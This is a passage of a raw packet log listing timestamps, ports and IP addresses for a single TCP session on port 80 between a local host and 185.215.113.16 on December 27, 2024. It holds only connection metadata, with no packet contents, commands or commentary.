Dec 27, 2024 09:00:29.274506092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274523020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274523020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.274539948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274559021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.274559975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.274590015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.275141954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275249004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.275264978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275331974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275346994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275358915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275378942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.275402069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.275422096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275485039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275496960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275510073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275521994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275531054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.275536060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.275553942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.275598049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.276209116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.276232958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.276243925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.276281118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.329544067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428355932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428458929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428471088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428549051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428560019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428574085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428586006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428597927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428623915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428623915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428623915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428700924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428777933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428788900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428833961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428845882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428879976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428913116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.428947926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428960085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.428971052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.429022074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430149078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430221081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430234909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430265903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430265903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430345058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430356026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430366039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430377007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430450916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430450916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430475950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430547953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430557966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430593014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430684090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430696011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430705070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430716038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.430752039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.430752039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.431178093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431211948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431222916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431241989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.431309938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.431376934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431387901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431399107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431410074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.431443930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.431466103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432262897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432353973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432364941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432375908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432406902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432429075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432501078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432512045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432528019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432540894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432568073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432580948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432660103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432671070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432744980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432780981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432790995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432797909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432847023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.432857990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.432919025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.433487892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433583021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433593988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433604956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433677912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.433707952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433725119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433736086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433748007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433753014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.433778048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.433815956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.433912039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.433923006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434016943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.434021950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434036970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434047937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434149981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434160948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434166908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434175968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.434178114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434211016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.434305906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434366941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434367895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.434376955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.434427977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.434958935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435046911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435058117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435111046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435151100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.435151100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.435245037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435256004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435266018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435302019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.435475111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435589075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435601950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435627937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.435635090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.435638905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435796976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435807943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435821056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.435875893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.435971975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.475703001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475714922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475724936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475900888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475912094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475924015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475934982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.475938082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476015091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476028919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476074934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476085901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476088047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476124048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476171970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476198912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476211071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476253033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476320028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476365089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476413965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476427078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476439953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476480961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476772070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476816893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476826906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476828098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476890087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.476910114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476922035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476947069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.476958990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.477001905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.477018118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.477149010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.477159023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.477175951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.477256060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.532660961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.629600048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629695892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629707098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629713058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629719973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629731894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629795074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.629844904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.629858017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.629870892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630043983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.630120993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630239964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630249977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630268097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630281925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630291939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.630366087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.630393028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630405903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630419970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.630443096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.630467892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631378889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631439924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631450891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631561041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631572008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631577969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631584883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631632090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631654978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631654978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631773949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631786108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631798983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631812096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631824017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631953955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631953955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631953955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.631966114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.631978989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632024050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.632314920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632457018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632467031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632478952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632589102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632601976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632616043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632627964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.632754087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.632755041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.632755041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.632755041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.633459091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633506060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633517981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633554935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.633589983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633646965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.633649111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633661985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633675098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633708954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.633821011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633857965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.633862019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.633869886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634021044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634032011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634037971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.634038925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634044886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634320021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.634568930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634605885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634615898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634715080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634725094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.634727955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634758949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.634802103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634814978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634826899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634880066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.634880066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.634917021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.634996891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635009050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635020971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635042906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635102034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.635102034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.635586023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635632992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635636091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.635643005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635695934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.635816097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635834932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635845900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.635869026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.635996103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636007071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636019945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636032104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636044979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.636066914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.636217117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636228085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636240959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636295080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.636295080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.636760950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636771917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636841059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636848927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.636856079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636868000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.636909962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.636931896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.637002945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.637037992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.637048006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.637061119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.637084007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.677041054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677077055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677223921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.677237988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677252054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677330017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677342892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677356958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677371025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677383900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677397966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677398920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.677398920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.677443027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.677548885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677561998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677571058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.677715063 CET	49743	80	192.168.2.4	185.215.113.16
